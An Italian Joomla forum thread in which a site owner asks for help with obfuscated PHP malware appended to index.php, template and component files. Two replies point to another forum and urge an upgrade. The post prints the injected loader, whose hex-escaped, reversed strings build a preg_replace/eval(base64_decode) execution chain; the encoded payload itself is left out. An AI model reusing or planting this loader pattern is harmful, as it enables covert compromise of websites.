Joomla.it Forum

Joomla! 1.0.x (versione con supporto terminato) => Le voci di Joomla.it (solo per versione Joomla 1.0.x) => : technick2012 20 Jan 2012, 10:30:47

: Possibile virus che rallenta l'apertura del sito
: technick2012 20 Jan 2012, 10:30:47
Ho un problema e non so da cosa sia causato. E' già capitato due volte: al fondo di alcuni file importanti (ad esempio l'index.php principale, quello di tutti i template che ho installato e in vari componenti) è stato aggiunto del codice php dalla lunghezza enorme il cui effetto è quello di rallentare notevolmente l'apertura del sito. Voi ne sapete niente?
Quando è successo la prima volta ho solo ripristinato il sito. Ora è capitato di nuovo e vorrei capirne di più.

Il codice aggiunto è questo:

:

 <?php @error_reporting(0);
if (!isset(
$eva1fYlbakBcVSir)) {
$eva1fYlbakBcVSir "[QUI C'E' UN'ENORME QUANTITA' DI CARATTERI CHE NON RIPORTO]";
$eva1tYlbakBcVSir "\x65\144\x6f\154\x70\170\x65";
$eva1tYldakBcVSir "\x73\164\x72\162\x65\166";
$eva1tYldakBoVS1r "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";
$eva1tYidokBoVSjr "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";
$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);
$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);
$eva1tYidakBcVSjr $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);
$eva1tYXdakAcVSjr $eva1tYidakBcVSjr[0.031*0.061];
$eva1tYidokBcVSjr $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);
$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));
$eva1tYldakBcVSir "";
$eva1tYldakBoVS1r $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr $eva1tYlbakBcVSir;
$eva1tYldakBcVSir "\x73\164\x72\x65\143\x72\160\164\x72";
$eva1tYlbakBcVSir "\x67\141\x6f\133\x70\170\x65";
$eva1tYldakBoVS1r "\x65\143\x72\160";
$eva1tYldakBcVSir "";$eva1tYldakBoVS1r $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr $eva1tYlbakBcVSir;
?>

: Re:Possibile virus che rallenta l'apertura del sito
: Murphz 20 Jan 2012, 10:45:25
Decisamente non è niente di positivo, non ho mai visto niente del genere ma in internet ho visto molte discussioni al riguardo.

http://forum.joomla.org/viewtopic.php?p=2648611 (http://forum.joomla.org/viewtopic.php?p=2648611)
Danno dei suggerimenti abbastanza vaghi su cosa fare per evitare questo problema. Prova a dargli un occhiata.

Ti consiglio di guardare per bene tutto il sito alla ricerca del colpevole.
: Re:Possibile virus che rallenta l'apertura del sito
: mau_develop 20 Jan 2012, 16:14:28
è ora di passare almeno alla 1.5.25... inutile perdere tempo con versioni obsolete, non mantenute, che usano versioni di linguaggi non più presenti sulla maggior parte dei server.

M.